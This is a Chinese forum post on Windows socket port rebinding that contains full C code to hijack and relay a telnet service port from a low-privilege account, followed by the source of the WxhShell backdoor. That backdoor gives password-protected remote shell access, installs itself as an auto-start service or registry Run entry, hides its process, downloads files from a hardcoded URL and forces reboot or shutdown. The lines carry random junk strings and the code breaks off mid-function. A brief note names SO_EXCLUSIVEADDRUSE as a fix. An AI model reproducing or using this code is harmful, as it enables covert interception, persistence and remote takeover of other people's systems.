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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Q =4~u z|  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 58gkE94  
SVqKG+{My  
  saddr.sin_family = AF_INET; 5@`dKFB5  
l#rr--];  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); h:{^&d a  
"~6IjW*/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); M6"a w6  
.[S\&uRv  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 .pPtBqp  
0 1:(QJ  
  这意味着什么?意味着可以进行如下的攻击: 6(V"xjK  
_!^2A3c<  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 RW^e#z>m"E  
l`?4O  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) a_k~z3wG  
jYnP)xX;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 lfyij[6q+  
t9[%o=N~lD  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  !c=EB`<*  
]RTK:%  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 !b'!7p  
F7U$ 7(I2G  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 XseP[  
qHC/)M#L  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 CAbT9W z&  
fP;2qho  
  #include c}D>.x|]  
  #include ?D=t:=  
  #include {z7kW@c  
  #include    `lN Z|U  
  DWORD WINAPI ClientThread(LPVOID lpParam);   T#D*B]oZ}  
  int main() mM-7 j z  
  { `bcCj~j  
  WORD wVersionRequested; A:,R.P>`C  
  DWORD ret; },vVc/  
  WSADATA wsaData; d6{0[T^L  
  BOOL val; k~pbXA*u  
  SOCKADDR_IN saddr; G-W(giF;NO  
  SOCKADDR_IN scaddr; lv\^@9r  
  int err; |n\(I$  
  SOCKET s; J]qx4c  
  SOCKET sc;  7K &j  
  int caddsize; VMV~K7%0  
  HANDLE mt; y<n<uZ;  
  DWORD tid;   E]%&)3O[  
  wVersionRequested = MAKEWORD( 2, 2 ); i`" L?3T  
  err = WSAStartup( wVersionRequested, &wsaData ); t$5)6zG  
  if ( err != 0 ) { CO.e.:h  
  printf("error!WSAStartup failed!\n"); LJ mRa  
  return -1; FHbw &  
  } ~{BR~\D  
  saddr.sin_family = AF_INET; 6 +x>g  
   5.FAuzz  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 K 6HH_T  
t7b\#o  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); a$h zG-  
  saddr.sin_port = htons(23); 6'QlC+E  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^%2S,3*0  
  { A_<1}8{L  
  printf("error!socket failed!\n"); S`Wau/7t  
  return -1; iJ 8I# j+N  
  } iXFN|ml  
  val = TRUE; Q>[GD(8k  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 D}7G|gX1  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) y|[YEY U)  
  { (S#nA:E  
  printf("error!setsockopt failed!\n"); )Qx&m}  
  return -1; LwS>jNJx  
  } Zlf) dDn  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;  |_ `wC  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 fN{JLp  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >)`V $x  
3rQ;}<*M  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) '*,P33h9<!  
  { u[ 2B0a  
  ret=GetLastError(); XH{P@2~l  
  printf("error!bind failed!\n"); b~<Tgo_/jf  
  return -1; XZ!^kftyW  
  } Z=\wI:TY1  
  listen(s,2); |FrZ,(\  
  while(1) Zfub+A  
  { RFq&#3f$  
  caddsize = sizeof(scaddr); WjsE#9D!of  
  //接受连接请求 A*_ |/o  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !K319 eE  
  if(sc!=INVALID_SOCKET) S6pvbaMZ  
  { e#j kp'  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); CEr*VsvjsU  
  if(mt==NULL) L:3  
  { ~*,e&I  
  printf("Thread Creat Failed!\n"); $2+(|VG4F  
  break; I3$/ #  
  } TB  
  } a]mPc^h  
  CloseHandle(mt); ??tNMr5{[  
  } zP$Ef7bB  
  closesocket(s); 5EqC.g.  
  WSACleanup(); ZyQ+}rO  
  return 0; iYHC a }  
  }   )@OKL0t  
  DWORD WINAPI ClientThread(LPVOID lpParam) "P_PqM  
  { ,V}Vxq3  
  SOCKET ss = (SOCKET)lpParam; loPBHoE3@H  
  SOCKET sc; _YM]U`*  
  unsigned char buf[4096]; A(<"oAe|  
  SOCKADDR_IN saddr; '5BM*4,:O  
  long num; 1FQ_`wF4  
  DWORD val; hd E?%A  
  DWORD ret; 31@m36? X  
  //如果是隐藏端口应用的话,可以在此处加一些判断 kbF+aS  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   f<T"# G$5  
  saddr.sin_family = AF_INET; 4$=ATa;x-  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); UPI'O %  
  saddr.sin_port = htons(23); HECZZnM  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N=X(G(  
  { !gfz4f&  
  printf("error!socket failed!\n"); R6KS&Ge_  
  return -1; 6+;B2;*3  
  } c 8 xZT  
  val = 100; z]J pvw`p  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T)QT_ST.9  
  { Vg+jF!\7  
  ret = GetLastError(); "7T9d)  
  return -1; V9"?}cR/W;  
  } b&$sY!iU  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h5.>};"@ '  
  { ^:c"%<"='  
  ret = GetLastError(); YdI&OzaroE  
  return -1; l"-F<^ U  
  } %O<  qw  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Qs^Rh F\d  
  { 6UkX?I`>  
  printf("error!socket connect failed!\n"); %HNe"7gk  
  closesocket(sc); A]FjV~PB  
  closesocket(ss); mJ3|UClPS  
  return -1; pxs#OP  
  } !VfP#B6.  
  while(1) #(5hV7i  
  { {J}Zv5  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 * @QC:1k  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 V+M=@Pvp9  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 $ 4& )  
  num = recv(ss,buf,4096,0); Z\`i~  
  if(num>0) m'Thm{Y,?n  
  send(sc,buf,num,0); V_SZp8  
  else if(num==0) Vf'r6Rf  
  break; .-6B6IEI_"  
  num = recv(sc,buf,4096,0); )$Erfu  
  if(num>0) Q0}Sju+HX  
  send(ss,buf,num,0); Wn9b</ tf  
  else if(num==0) oA _,jsD4  
  break; #hOAG_a,  
  } ;LBq!  
  closesocket(ss); m),3J4(q  
  closesocket(sc); Y-.pslg  
  return 0 ; L0Fhjbc  
  } `;@#yyj:_  
)T=cd   
*:q,G  
========================================================== RSNukg  
R9/(z\'}  
下边附上一个代码,,WXhSHELL "0lC:Wu]  
%U.aRSf/  
========================================================== H^N@fG<*dh  
<V}^c/c!  
#include "stdafx.h" pMB~Lt9  
v\Y362Xv  
#include <stdio.h> 2VNMz[W'  
#include <string.h> * 7ki$f!  
#include <windows.h> #8!xIy  
#include <winsock2.h> H)s$0Xd  
#include <winsvc.h> ]"3(UKx  
#include <urlmon.h> S z3@h"  
;+dB-g[  
#pragma comment (lib, "Ws2_32.lib") FM c9oyU~  
#pragma comment (lib, "urlmon.lib") -`mHb  
PKT/U^2X]  
#define MAX_USER   100 // 最大客户端连接数 BwN65_5p  
#define BUF_SOCK   200 // sock buffer ; 7`y##  
#define KEY_BUFF   255 // 输入 buffer +%$'( t s  
F8\nAX  
#define REBOOT     0   // 重启 3w=OvafT:  
#define SHUTDOWN   1   // 关机 tFvc~zz9  
S$!)Uc\)A  
#define DEF_PORT   5000 // 监听端口 o%+8.Tx6wT  
YQzs0t ,  
#define REG_LEN     16   // 注册表键长度 MCOz-8@|Y  
#define SVC_LEN     80   // NT服务名长度 r@_`ob RW;  
%)7HBj(*J  
// 从dll定义API NR8YVO)5$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5I!EsW$sY  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P"`OuN  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \0'7p-T6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ncEOz1u  
x0ZEVa0`4  
// wxhshell配置信息 "#T3l^@  
struct WSCFG { 9/rX%  
  int ws_port;         // 监听端口 S7cxEOfAu  
  char ws_passstr[REG_LEN]; // 口令 [p%@ pV  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^^[MDjNy@  
  char ws_regname[REG_LEN]; // 注册表键名 . Q3GA0O  
  char ws_svcname[REG_LEN]; // 服务名 K)|#FRPM u  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Sm;EWz-?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :NL.#!>/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \de82 4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no IfHB+H   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" eGrC0[SH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Pdc- 3  
$:I~y| !1  
}; p&w XRI  
:IFTiq5a;  
// default Wxhshell configuration zbt>5S_  
struct WSCFG wscfg={DEF_PORT, gn&jNuGg  
    "xuhuanlingzhe", Dp 0   
    1, OO.. Y  
    "Wxhshell", X4emhB  
    "Wxhshell", {K-]nh/  
            "WxhShell Service", sy+o{] N  
    "Wrsky Windows CmdShell Service", jHPJk8@y  
    "Please Input Your Password: ", 5_U3Fs  
  1, _5I" %E;S  
  "http://www.wrsky.com/wxhshell.exe", "x&hBJ  
  "Wxhshell.exe" L^:+8g  
    }; ^Z7])arA  
0r=:l/Pz  
// 消息定义模块 0Zkb}F2-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >&h#t7<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; cDMA#gp  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; noiUi>G;:  
char *msg_ws_ext="\n\rExit."; wrq0fHwM  
char *msg_ws_end="\n\rQuit."; yyJ4r}TE  
char *msg_ws_boot="\n\rReboot..."; GH2D5HVN  
char *msg_ws_poff="\n\rShutdown..."; '`^<*;w  
char *msg_ws_down="\n\rSave to "; T69'ta32V  
s$e0;C!D  
char *msg_ws_err="\n\rErr!"; is`Eqcj`dr  
char *msg_ws_ok="\n\rOK!"; 0}]k>ndT  
[nBlHI;&  
char ExeFile[MAX_PATH]; GuMsw*{>  
int nUser = 0; O#Ab1FQn  
HANDLE handles[MAX_USER]; 9,y*kC  
int OsIsNt; *Got  
"FI]l<G&  
SERVICE_STATUS       serviceStatus; v|~ yIywf  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5DKR1z:  
RrSo`q-h+  
// 函数声明 'S<ebwRd=  
int Install(void); #LEK?]y  
int Uninstall(void); c,;-[sn  
int DownloadFile(char *sURL, SOCKET wsh); 'Syq!=,  
int Boot(int flag); A][\L[8X  
void HideProc(void); !=>pI/ECQ*  
int GetOsVer(void); 'bj$ZM9  
int Wxhshell(SOCKET wsl); DPI iGRw  
void TalkWithClient(void *cs); nb0V~W  
int CmdShell(SOCKET sock); B@dA?w.x  
int StartFromService(void); 1{R 1:`  
int StartWxhshell(LPSTR lpCmdLine); _ v\=ag  
-#= v~vE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); iO4YZ!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =p|,~q&i  
\"i2E!  
// 数据结构和表定义 !u@e^J{Ao  
SERVICE_TABLE_ENTRY DispatchTable[] = & D4'hL3  
{ !Q =H)\3  
{wscfg.ws_svcname, NTServiceMain}, k,O("T[  
{NULL, NULL} h{I)^8,M  
}; iqURlI);P  
/qA\|'~  
// 自我安装 D_@WB.e L  
int Install(void) _c?&G`  
{ ZFh2v]|!  
  char svExeFile[MAX_PATH]; Jw?J(ig^  
  HKEY key; UOy9N  
  strcpy(svExeFile,ExeFile); _n(O?M&x  
,Hn{nVU1R=  
// 如果是win9x系统,修改注册表设为自启动 5O<7<O B  
if(!OsIsNt) { }6MHIr=o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j-@3jFu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h^ea V,x>=  
  RegCloseKey(key); \&|)?'8rS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &wr0HrE\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^6`"f  
  RegCloseKey(key); +gh6eY8  
  return 0; FP=%e]vJ  
    } l -us j%\  
  } IY2ca Xu  
} h-<2N)>!  
else { <m:8%]%M6  
+m kub}<a  
// 如果是NT以上系统,安装为系统服务 Uc]S7F#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !=M[u+-  
if (schSCManager!=0) =n|n%N4Y  
{ jFfuT9oId  
  SC_HANDLE schService = CreateService xG i,\K\:  
  ( D9^.Eg8W  
  schSCManager, l1XA9>n  
  wscfg.ws_svcname, T7_i: HU%  
  wscfg.ws_svcdisp, '=}F}[d"kk  
  SERVICE_ALL_ACCESS, $ \0)~cy  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Kk|uN#m  
  SERVICE_AUTO_START, q_K8vGm4e  
  SERVICE_ERROR_NORMAL, gwwYz]'d>r  
  svExeFile, F3j#NCuO=z  
  NULL, gOaL4tu  
  NULL, [O92JT:li  
  NULL, R@_i$Df|  
  NULL, X,dOF=OJL  
  NULL CPGiKE  
  ); ~kM# lh7At  
  if (schService!=0) b`M  2VZu  
  { dNd(57  
  CloseServiceHandle(schService); C{7 j<O  
  CloseServiceHandle(schSCManager); <pzCpF<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^)|8N44O  
  strcat(svExeFile,wscfg.ws_svcname); 1#BMc%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { CsfGjqpf  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0~2~^A#]\  
  RegCloseKey(key); Bg.~#H  
  return 0; ? I7}4i7  
    } )xKZ)SxV  
  } q^5j&jx Vl  
  CloseServiceHandle(schSCManager); iK&s_}i:  
} .dqV fa  
}  vV5dW  
UbDRzum  
return 1; op!8\rM<e  
} oT9dMhx8  
x z5 V.  
// 自我卸载 |T!ivd1G  
int Uninstall(void) IpX.ube  
{ l\+^.ezD  
  HKEY key; NrQGoAOw  
{p -q&k&R|  
if(!OsIsNt) { prJ]u H,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <UI^~Azc#  
  RegDeleteValue(key,wscfg.ws_regname); N$cm;G=]  
  RegCloseKey(key); `v;9!ReZV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :x85:pa  
  RegDeleteValue(key,wscfg.ws_regname); t]dtBt].:  
  RegCloseKey(key); fjD/<`}v  
  return 0; r1vF/yt(  
  } W@"s~I6  
} dY|~"6d)  
} J/OG\}  
else { =EE>QM  
#kho[`9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); SQ$|s%)oB  
if (schSCManager!=0) $q}zW%  
{ DcjF $E  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); FBDRbJ su  
  if (schService!=0) j` RuK  
  { suo;+T=`I  
  if(DeleteService(schService)!=0) { Ii*tux!S  
  CloseServiceHandle(schService); mI$<+S1!  
  CloseServiceHandle(schSCManager); \&tv *  
  return 0; NOzAk%s3I  
  } | DB7o+4  
  CloseServiceHandle(schService); ,Z_aZD4  
  } ->H4!FS  
  CloseServiceHandle(schSCManager); {nr}C4]o  
} Ln&'5D#  
}  M{!Y   
VaV(+X  
return 1; IF>dsAAI<  
} moop.}O<  
jUtFDw  
// 从指定url下载文件 utH/E7^8  
int DownloadFile(char *sURL, SOCKET wsh) dq6|m }g{  
{ lla?;^,  
  HRESULT hr; te<lCD6  
char seps[]= "/"; JI)@h 4b  
char *token; )qbjX{GZ7  
char *file; %I`%N2ss  
char myURL[MAX_PATH]; b$*1!a  
char myFILE[MAX_PATH]; g`n5-D@3  
`]T# uP<u  
strcpy(myURL,sURL); Oh&k{DWE$  
  token=strtok(myURL,seps); mFGiysM  
  while(token!=NULL) $vC}Fq  
  { h<1pGQV  
    file=token; $2><4~T;|A  
  token=strtok(NULL,seps); )iU@P7W=  
  } X~o6Xkg  
<3SO1@?  
GetCurrentDirectory(MAX_PATH,myFILE); #Yd 'Vve  
strcat(myFILE, "\\"); NUQ?Q Q  
strcat(myFILE, file); >508-)'  
  send(wsh,myFILE,strlen(myFILE),0); Zf,9 k".'C  
send(wsh,"...",3,0); wf,B/[,d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cYeC7l "  
  if(hr==S_OK) zP`&X:8  
return 0; t ;-U  
else # fe%E.  
return 1; >Ohh) $  
)8_ x  
} ^+MG"|)u~  
lx H3a :gm  
// 系统电源模块 nf2[hx@=U  
int Boot(int flag) /=i+7^  
{ !zW22M  
  HANDLE hToken; YD@n8?~$$  
  TOKEN_PRIVILEGES tkp; "3Lq/mJYnZ  
#Ave r]eK  
  if(OsIsNt) { 6");NHE  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p* Q *}V  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); aS3Fvk0R{h  
    tkp.PrivilegeCount = 1; vFx0B?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +\yQZ{4'@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~2L]K4Z^  
if(flag==REBOOT) { C?h}n4\B^?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) D>`lN  
  return 0; H3Zs m)+:  
} IPa)+ ZQ  
else { p3W-*lE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) g54b}vzm  
  return 0; @\}w8  
} =K8z8K?  
  } wyC1M  
  else { .ZVADVg\  
if(flag==REBOOT) { tvEf-z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1c19$KHu  
  return 0; (O`2$~mIM  
} )oCb9K:km  
else { c-" .VF  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) nm{J  
  return 0; S @tpd'  
} --BS/L-  
} oRZ--1oR_  
]R%+  
return 1; -8pQI  
} !W48sZr1&  
G\ m`{jv  
// win9x进程隐藏模块  X0&[cyP!  
void HideProc(void) +-d)/h.7  
{ KOYcT'J@vR  
)2dTgvy  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); oJln"-M1nx  
  if ( hKernel != NULL ) _I A{I  
  { W"&Y7("y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j" ~gEGfK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tZ*z.3\<  
    FreeLibrary(hKernel); SXF~>|h5<  
  } E(/M?>t-  
8TV "9{ n  
return; t/Y)%N  
} TD6MP9L  
{wy#HYhv  
// 获取操作系统版本 U%T{~f  
int GetOsVer(void) KoF_G[m  
{ R0DWjN$j  
  OSVERSIONINFO winfo; &vHfuM`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); T(4OPiKu  
  GetVersionEx(&winfo); C'oNGOEd  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) au~}s |#  
  return 1; 4!)=!sL ;  
  else C)v*L#{%  
  return 0; i?D KKjN$  
} 8-uRn38  
{ZR>`'^:  
// 客户端句柄模块 KDEcR  
int Wxhshell(SOCKET wsl) FdFN4{<QZ  
{ ie9,ye"  
  SOCKET wsh; Kh,zp{  
  struct sockaddr_in client; D5gDVulsh  
  DWORD myID; p|,3X*-ynx  
>cYYr@S  
  while(nUser<MAX_USER) W&HF*Aw  
{ R}J}Q b  
  int nSize=sizeof(client); _DAj$$ Ru4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;[R#:Rk  
  if(wsh==INVALID_SOCKET) return 1; 9?L,DThQ  
R!2oj_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "GY/2;  
if(handles[nUser]==0) J rgpDZ  
  closesocket(wsh); s6+`cC4  
else Pt^SlX^MM  
  nUser++; wOU\&u|  
  } <-rw>,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G Rq0nhJ  
3rh@|fg)E  
  return 0; b<1+q{0r  
} .QVZ!  
m2h@*  
// 关闭 socket %{*)-_M  
void CloseIt(SOCKET wsh) K|^'`FpPO  
{ ^p}|""\j  
closesocket(wsh); 75?z" i  
nUser--; 0<'Q;'2* L  
ExitThread(0); M>LgEc-v67  
} e|2@z-Sp-  
9f U,_`r  
// 客户端请求句柄 Q-7C'|  
void TalkWithClient(void *cs) Ap)[;_9BD  
{ &U7INUL  
JT(6Uf  
  SOCKET wsh=(SOCKET)cs; _jCk)3KO  
  char pwd[SVC_LEN]; |'ML )`c[  
  char cmd[KEY_BUFF]; /.m &rS  
char chr[1]; E=eK(t(8  
int i,j; .XTR HL*:  
6G0Y,B7&  
  while (nUser < MAX_USER) { ?=#vp /  
M|DVFC  
if(wscfg.ws_passstr) { 5%)<e-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z\. n6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [3|&!:4g6  
  //ZeroMemory(pwd,KEY_BUFF); -{O>'9'1A  
      i=0; +0Z,#b  
  while(i<SVC_LEN) { su\iUi  
INjr$'*  
  // 设置超时 R&MdwTa  
  fd_set FdRead; 1~aP)q  
  struct timeval TimeOut; 0+dc  
  FD_ZERO(&FdRead); wY'w'%A?  
  FD_SET(wsh,&FdRead); ]9]o*{_+(f  
  TimeOut.tv_sec=8; T0TgV  
  TimeOut.tv_usec=0; ~H4wsa39  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cN 3 !wE  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w 8B SY  
{a9( Qi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J1UG},-h  
  pwd=chr[0]; }huFv*<@'  
  if(chr[0]==0xd || chr[0]==0xa) { =IH~:D\&  
  pwd=0;  @ ^cR  
  break; ic;M=dsh:  
  } kVe4#LT  
  i++; U]AJWC6  
    } }5]2tH${  
PX/7:D?  
  // 如果是非法用户,关闭 socket {3`cSm6c  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Kg6[  
} f1w_Cl  
SUC'o"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hZ`<ID  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /P%OXn$i/  
WRov7  
while(1) { fW=vN0Z  
?>/9ae^Bw  
  ZeroMemory(cmd,KEY_BUFF); '4ip~>3?w  
c:I %jm  
      // 自动支持客户端 telnet标准   Zk] /m  
  j=0; !rsGCw!Pg  
  while(j<KEY_BUFF) { m gE r+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WCD)yTg:ES  
  cmd[j]=chr[0]; hN^,'O  
  if(chr[0]==0xa || chr[0]==0xd) { )_olJCdaP^  
  cmd[j]=0; ^D8~s;?  
  break; p?2^JJpUb  
  } RJ1 @ a  
  j++; #w@V!o  
    } M;LR$'cP  
$1 t IC_  
  // 下载文件 >@)p*y.K  
  if(strstr(cmd,"http://")) { 5=&ME(fmV  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |Kb m74Z%  
  if(DownloadFile(cmd,wsh)) fE"-W{M  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7 !dj&?  
  else $0Ys{m  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^r~O*  
  } ;pj,U!{%s\  
  else { #>M^BOR8  
2m^qXE$  
    switch(cmd[0]) { ik#ti=.  
  GkpYf~\Q  
  // 帮助 q|V|Jl  
  case '?': { lAR1gHhJ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,rV;T";r  
    break; S!rVq,| d  
  } sJ{r+wY  
  // 安装 ~O~iP8T  
  case 'i': { zZ,"HY=jN  
    if(Install()) . '>d7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +%H=+fJ2}  
    else VTU(C&"S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z\"9T?zoo  
    break; nDcH;_<;9a  
    } v"o_V|  
  // 卸载 W[R`],x`  
  case 'r': { AZf69z  
    if(Uninstall()) 4V c``Um  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); znDpg{U(  
    else %}JSR y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I@5$<SN  
    break; =d+`xN*  
    } ;66{S'*[  
  // 显示 wxhshell 所在路径 `6RccEm  
  case 'p': { '14 86q@[$  
    char svExeFile[MAX_PATH]; ayh235>a(  
    strcpy(svExeFile,"\n\r"); D<:zw/IRE  
      strcat(svExeFile,ExeFile); )3R5cq  
        send(wsh,svExeFile,strlen(svExeFile),0); 8H1&=)M=  
    break; );h  
    } ]"^ p}:  
  // 重启 =v0w\( ?N  
  case 'b': { \%B7M]P  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sgnc$x"  
    if(Boot(REBOOT)) nN^lY=3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yg}b%u,Q  
    else { z`eMb  
    closesocket(wsh); _ 2)QL  
    ExitThread(0); a_]l?t  
    } #2lvRJB  
    break;  3bJ|L3G  
    } j<6+p r  
  // 关机 H: ;XU  
  case 'd': { x8x-b>|$&<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fz?woVn  
    if(Boot(SHUTDOWN)) d(:I~m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;@:-T/=  
    else { FUZuS!sJ  
